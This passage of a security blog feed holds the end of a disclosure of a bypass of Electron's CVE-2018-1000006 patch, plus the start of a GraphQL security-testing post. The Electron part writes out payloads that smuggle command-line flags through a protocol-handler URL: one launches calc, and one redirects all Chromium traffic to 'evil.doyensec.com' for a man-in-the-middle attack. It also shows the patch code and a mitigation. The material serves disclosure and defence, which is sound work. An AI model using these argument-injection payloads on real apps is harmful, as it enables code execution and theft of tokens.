&lt;span class=&quot;nx&quot;&gt;win&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;location&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;myapp://foobar&quot; --GPU-launcher=&quot;cmd c/ start calc&quot; --foobar=&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;understanding-the-patch&quot;&gt;Understanding the patch&lt;/h3&gt;

&lt;p&gt;The patch for CVE-2018-1000006 is implemented in &lt;a href=&quot;https://github.com/electron/electron/blob/fe7947da90a6e161e731a10e4246a07b7d71dea3/atom/app/command_line_args.cc&quot;&gt;electron/atom/app/command_line_args.cc&lt;/a&gt; and consists of a validation mechanism which ensures users won’t be able to include Electron/Chromium/Node arguments after a url (the specific protocol handler). Bear in mind some locally executed applications do require the ability to pass custom arguments.&lt;/p&gt;

&lt;div class=&quot;language-cpp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kt&quot;&gt;bool&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;CheckCommandLineArguments&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;argc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;base&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CommandLine&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CharType&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;**&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;DCHECK&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;is_sorted&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;begin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;kBlacklist&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;kBlacklist&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
                        &lt;span class=&quot;p&quot;&gt;[](&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                          &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;base&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;StringPiece&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;base&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;StringPiece&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                        &lt;span class=&quot;p&quot;&gt;}))&lt;/span&gt;
      &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;The kBlacklist must be in sorted order&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;DCHECK&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;binary_search&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;begin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;kBlacklist&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;kBlacklist&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
                            &lt;span class=&quot;n&quot;&gt;base&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;StringPiece&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;inspect&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)))&lt;/span&gt;
      &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Remember to add Node command line flags to kBlacklist&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;base&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CommandLine&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;StringType&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dashdash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sc&quot;&gt;'-'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;kt&quot;&gt;bool&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;block_blacklisted_args&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;argc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dashdash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;block_blacklisted_args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;IsBlacklistedArg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]))&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;IsUrlArg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;block_blacklisted_args&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As is commonly seen, blacklist-based validation is prone to errors and omissions especially in complex execution environments like Electron:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The patch relies on a static blacklist of &lt;a href=&quot;https://peter.sh/experiments/chromium-command-line-switches/&quot;&gt;available chromium flags&lt;/a&gt;. On each libchromiumcontent update the Electron team must remember to update the &lt;em&gt;command_line_args.cc&lt;/em&gt; file in order to make sure the blacklist is aligned with the current implementation of Chromium/v8&lt;/li&gt;
  &lt;li&gt;The blacklist is implemented using a binary search. Valid flags could be missed by the check if they’re not properly sorted&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;bypass-and-security-implications&quot;&gt;Bypass and security implications&lt;/h3&gt;

&lt;p&gt;We started looking for missed flags and noticed that &lt;strong&gt;host-rules&lt;/strong&gt; was absent from the blacklist. With this flag one may specify a set of rules to rewrite domain names for requests issued by libchroumiumcontent. This immediately stuck out as a good candidate for subverting the process.&lt;/p&gt;

&lt;p&gt;In fact, an attacker can exploit this issue by overriding the host definitions in order to perform completely transparent Man-In-The-Middle:&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;!doctype html&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
 &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;location&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;skype://user?userinfo&quot; --host-rules=&quot;MAP * evil.doyensec.com&quot; --foobar=&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When a user visits a web page in a browser containing the preceding code, the Skype app will be launched and all Chromium traffic will be forwarded to &lt;em&gt;evil.doyensec.com&lt;/em&gt; instead of the original domain. Since the connection is made to the attacker-controlled host, certificate validation does not help as demonstrated in the following video:&lt;/p&gt;

&lt;video controls=&quot;&quot; preload=&quot;auto&quot; width=&quot;100%&quot; height=&quot;100%&quot; poster=&quot;../../../public/images/skypeelectronbugpoc.png&quot;&gt;
	&lt;source src=&quot;../../../public/images/skypeelectronbugpoc.mp4&quot; type=&quot;video/mp4&quot; /&gt;
	Your browser does not support the video tag.
&lt;/video&gt;

&lt;p&gt;We analyzed the impact of this vulnerability on popular Electron-based apps and developed working proof-of-concepts for both MITM and RCE attacks. While the immediate implication is that an attacker can obtain confidential data (e.g. oauth tokens), this issue can be also abused to inject malicious HTML responses containing XSS -&amp;gt; RCE payloads. With &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nodeIntegration&lt;/code&gt; enabled, this is simply achieved by leveraging Node’s APIs. When encountering application sandboxing via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nodeIntegration: false&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sandbox&lt;/code&gt;, it is necessary to chain this with other bugs (e.g. nodeIntegration bypass or IPC abuses).&lt;/p&gt;

&lt;p&gt;Please note it is only possible to intercept traffic generated by Chromium, and not Node. For this reason Electron’s update feature, along with other critical functionss, are not affected by this vulnerability.&lt;/p&gt;

&lt;h3 id=&quot;future&quot;&gt;Future&lt;/h3&gt;

&lt;p&gt;On May 16, 2018, Electron released a new update containing an improved version of the blacklist for v2.0.1, v1.8.7, and v1.7.15. The team is actively working on a more resilient solution to prevent further bypasses. Considering that the API change may potentially break existing apps, it makes sense to see this security improvement within a major release.&lt;/p&gt;

&lt;p&gt;In the meantime, Electron application developers are recommended to enforce a dash-dash notation in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setAsDefaultProtocolClient&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;setAsDefaultProtocolClient&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;protocol&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;execPath&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;
  &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;--your-switches-here&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;or in the Windows protocol handler registry entry&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../../../public/images/regeditprotocol.png&quot; alt=&quot;secure Windows protocol handler&quot; align=&quot;center&quot; /&gt;&lt;/p&gt;

&lt;p&gt;As a final remark, we would like to thank the entire Electron team for their work on moving to a secure-by-default framework. Electron contributors are tasked with the non-trivial mission of closing the web-native desktop gap. Modern browsers are enforcing numerous security mechanisms to ensure isolation between sites, facilitate web security protections and prevent untrusted remote content from compromising the security of the host. &lt;em&gt;When working with Electron, things get even more complicated.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;@ikkisoft&lt;/p&gt;

&lt;p&gt;@day6reak&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>GraphQL - Security Overview and Testing Tips</title>
   <link href="https://blog.doyensec.com/2018/05/17/graphql-security-overview.html"/>
   <updated>2018-05-17T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2018/05/17/graphql-security-overview</id>
   <content type="html">&lt;p&gt;With the increasing popularity of GraphQL technology we are summarizing some documentation and tips about common security mistakes.&lt;/p&gt;

&lt;h3 id=&quot;what-is-graphql&quot;&gt;What is GraphQL?&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://graphql.org/&quot;&gt;GraphQL&lt;/a&gt; is a data query language developed by Facebook and publicly released in 2015. It is an alternative to REST API.&lt;/p&gt;

&lt;p&gt;Even if you don’t see any GraphQL out there, it is likely you’re already using it since it’s running on some big tech giants like Facebook, GitHub, Pinterest, Twitter, HackerOne and a &lt;a href=&quot;http://graphql.org/users/&quot;&gt;lot more&lt;/a&gt;.&lt;/p&gt;

&lt;h4 id=&quot;a-few-key-points-on-this-technology&quot;&gt;A few key points on this technology&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;GraphQL provides a complete and understandable description of the data in the API and gives clients the power to ask for exactly what they need. &lt;strong&gt;Queries always return predictable results&lt;/strong&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;While typical REST APIs require loading from multiple URLs, GraphQL APIs get &lt;strong&gt;all the data&lt;/strong&gt; your app needs &lt;strong&gt;in a single request&lt;/strong&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;GraphQL APIs are organized in terms of types and fields, not endpoints. You can access the full capabilities of &lt;strong&gt;all your data from a single endpoint&lt;/strong&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;GraphQL is &lt;strong&gt;strongly typed&lt;/strong&gt; to ensure that application only ask for what’s possible and provide clear and helpful errors.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;New fields and types can be added&lt;/strong&gt; to the GraphQL API &lt;strong&gt;without impacting existing queries. Aging fields can be deprecated&lt;/strong&gt; and hidden from tools.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Before we start diving into the GraphQL security landscape, here is a brief recap on how it works. The &lt;a href=&quot;http://graphql.org/learn/&quot;&gt;official documentation&lt;/a&gt; is well written and was really helpful.&lt;/p&gt;

&lt;p&gt;A GraphQL query looks like this:&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Basic GraphQL Query&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;language-graphql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;query&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
	&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
		&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
		&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;email&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
		&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;firstName&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
		&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lastName&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
	&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;While the response is JSON:&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Basic GraphQL Response&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
	&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;data&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
		&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;user&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
			&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;1&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
			&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;email&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;paolo@doyensec.com&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
			&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;firstName&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Paolo&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
			&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;lastName&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Stagno&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
		&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
	&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;security-testing-tips&quot;&gt;Security Testing Tips&lt;/h3&gt;

&lt;p&gt;Since &lt;a href=&quot;https://portswigger.net/&quot;&gt;Burp Suite&lt;/a&gt; does not understand GraphQL syntax well, I recommend using the &lt;a href=&quot;https://github.com/andev-software/graphql-ide&quot;&gt;graphql-ide&lt;/a&gt;, an Electron based app that allows you to edit and send requests to a GraphQL endpoint; I also wrote a small python script &lt;a href=&quot;https://github.com/doyensec/graph-ql/&quot;&gt;GraphQL_Introspection.py&lt;/a&gt; that enumerates a GraphQL endpoint (with introspection) in order to pull out documentation. The script is useful for examining the GraphQL schema looking for information leakage, hidden data and fields that are not intended to be accessible.&lt;/p&gt;

&lt;p&gt;The tool will generate a HTML report similar to the following:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../../../public/images/GraphQL_Introspection.png&quot; alt=&quot;Python Script pulling data from a GraphQL endpoint&quot; align=&quot;center&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://graphql.org/learn/introspection/&quot;&gt;Introspection&lt;/a&gt; is used to ask for a GraphQL schema for information about what queries, types and so on it supports.&lt;/p&gt;

&lt;p&gt;As a pentester, I would recommend to look for requests issued to &lt;strong&gt;“/graphql”&lt;/strong&gt; or &lt;strong&gt;“/graphql.php”&lt;/strong&gt; since those are usual GraphQL endpoint names; you should also search for &lt;strong&gt;“/graphiql”&lt;/strong&gt;, &lt;strong&gt;”graphql/console/”&lt;/strong&gt;, online GraphQL IDEs to interact with the backend, and &lt;strong&gt;“/graphql.php?debug=1”&lt;/strong&gt; (debugging mode with additional error reporting) since they may be left open by developers.&lt;/p&gt;

&lt;p&gt;When testing an application, verify whether requests can be issued without the usual authorization token header:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../../../public/images/GraphQL_AuthToken.png&quot; alt=&quot;GraphQL Bearer Authorization Header Example&quot; align=&quot;center&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Since the GraphQL framework does not provide any means for securing your data, developers are in charge of implementing access control as stated in the documentation:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;“However, for a production codebase, delegate authorization logic to the business logic layer”.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Things may go wrong, thus it is important to verify whether a user without proper authentication and/or authorization can request the whole underlying database from the server.&lt;/p&gt;

&lt;p&gt;When building an application with GraphQL, developers have to map data to queries in their chosen database technology. This is where security vulnerabilities can be easily introduced, leading to  &lt;strong&gt;Broken Access Controls&lt;/strong&gt;, &lt;strong&gt;Insecure Direct Object References&lt;/strong&gt; and even &lt;strong&gt;SQL/NoSQL Injections&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;As an example of a broken implementation, the following request/response demonstrates that we can fetch data for any users of the platform (cycling through the ID parameter), while simultaneously dumping password hashes:&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Query&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;language-graphql highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;query&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
